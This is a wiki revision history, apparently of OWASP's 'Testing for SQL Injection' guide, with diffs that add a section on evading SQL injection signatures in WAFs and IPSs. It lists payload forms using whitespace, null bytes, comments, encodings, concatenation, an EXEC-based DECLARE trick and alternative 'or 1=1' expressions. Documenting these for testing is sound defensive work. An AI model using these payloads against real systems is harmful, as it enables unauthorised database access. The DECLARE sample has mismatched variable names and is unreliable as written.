Testing for SQL Injection (OTG-INPVAL-005) - Revision history

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-04-26T09:29:38Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih: /* Alternative Expression of 'or 1 = 1' */

2016-03-20T02:10:04Z

‎Alternative Expression of 'or 1 = 1'

Tony Hsu HsiangChih: /* References */

2016-03-20T02:05:06Z

‎References

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T02:02:42Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih at 01:52, 20 March 2016

2016-03-20T01:52:49Z

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T01:51:40Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T01:40:54Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T01:36:04Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T01:23:38Z

‎SQL Injection signature Evasion Techniques

Tony Hsu HsiangChih: /* SQL Injection signature Evasion Techniques */

2016-03-20T01:13:47Z

‎SQL Injection signature Evasion Techniques

@@ Line 524: / Line 524: @@
 === SQL Injection signature Evasion Techniques ===
 The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs).
 ==== White Space ====

@@ Line 649: / Line 649: @@
 ==== Alternative Expression of 'or 1 = 1' ====
-OR 'SQLi' = 'SQL'+'i'
+* OR 'SQLi' = 'SQL'+'i'
-OR 'SQLi' > 'S'
+* OR 'SQLi' > 'S'
-or 20 > 1
+* or 20 > 1
-OR 'SQLi' BETWEEN 'L' AND 'T'
+* OR 2 between 3 and 1
-OR 'SQLi' = N'SQLi'
+* OR 'SQLi' = N'SQLi'
-and 1 = 1
+* 1 and 1 = 1
-|| 1 = 1
+* 1 || 1 = 1
-&& 1 = 1
+* 1 && 1 = 1
 ==Tools==

@@ Line 690: / Line 690: @@
 * Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
 * Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
+* "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan": "Beyond SQLi: Obfuscate and Bypass" - https://www.exploit-db.com/papers/17934/
 '''Documentation on SQL injection vulnerabilities in products'''
 * [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

@@ Line 525: / Line 525: @@
 The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs).
-* White Space
+==== White Space ====
 Dropping space or adding spaces that won't affect the SQL statement. For example
@@ Line 537: / Line 537: @@
        'a' </pre>
-* Null Bytes
+==== Null Bytes ====
 Use null byte (%00) prior to any characters that the filter is blocking.
@@ Line 551: / Line 551: @@
 </pre>
-* SQL Comments
+==== SQL Comments ====
 Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter.
 Take this SQL injection as example.
@@ Line 569: / Line 569: @@
 </pre>
-* URL Encoding
+==== URL Encoding ====
 Use the online URL encoding to encode the SQL statement
@@ Line 583: / Line 583: @@
 </pre>
-* Char Encoding
+==== Character Encoding ====
 Char() function can be used to replace English char. For example, char(114,111,111,116) means root
 <pre>
@@ Line 595: / Line 595: @@
-* String Concatenation
+==== String Concatenation ====
 Concatenation breaks up SQL keywords and evades filters.
 Concatenation syntax varies based on database engine.
@@ Line 611: / Line 611: @@
-* Hex Encoding
+==== Hex Encoding ====
 Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char.
 For example, 'root' can be represented as 726F6F74
@@ Line 632: / Line 632: @@
-* Declare variables
+==== Declare variables ====
 Declare the SQL injection statement into variable and execute it.
@@ Line 647: / Line 647: @@
 </pre>
-* Alternative Expression of 'or 1 = 1'
+==== Alternative Expression of 'or 1 = 1' ====
 ==Tools==

@@ Line 520: / Line 520: @@
 https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
-==Tools==
 === SQL Injection signature Evasion Techniques ===
@@ Line 657: / Line 647: @@
 </pre>
-* Alternative Expression of 'or 1 = 1'
+==Tools==
 == References ==

@@ Line 622: / Line 622: @@
 * Hex Encoding
 * Declare variables
 Declare the SQL injection statement into variable and execute it.
@@ Line 633: / Line 653: @@
 <pre>
-  ; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar)
+  ; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
 </pre>

← Older revision		Revision as of 01:40, 20 March 2016
Line 622:		Line 622:

	* Hex Encoding		* Hex Encoding
		+	* Declare variables
		+	Declare the SQL injection statement into variable and execute it.
		+
		+	For example, SQL injection statement below
		+	<pre>
		+	Union Select password
		+	</pre>
		+
		+	Define the SQL statement into variable SQLivar
		+
		+	<pre>
		+	; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar)
		+	</pre>
		+
		+
	* Alternative Expression of 'or 1 = 1'		* Alternative Expression of 'or 1 = 1'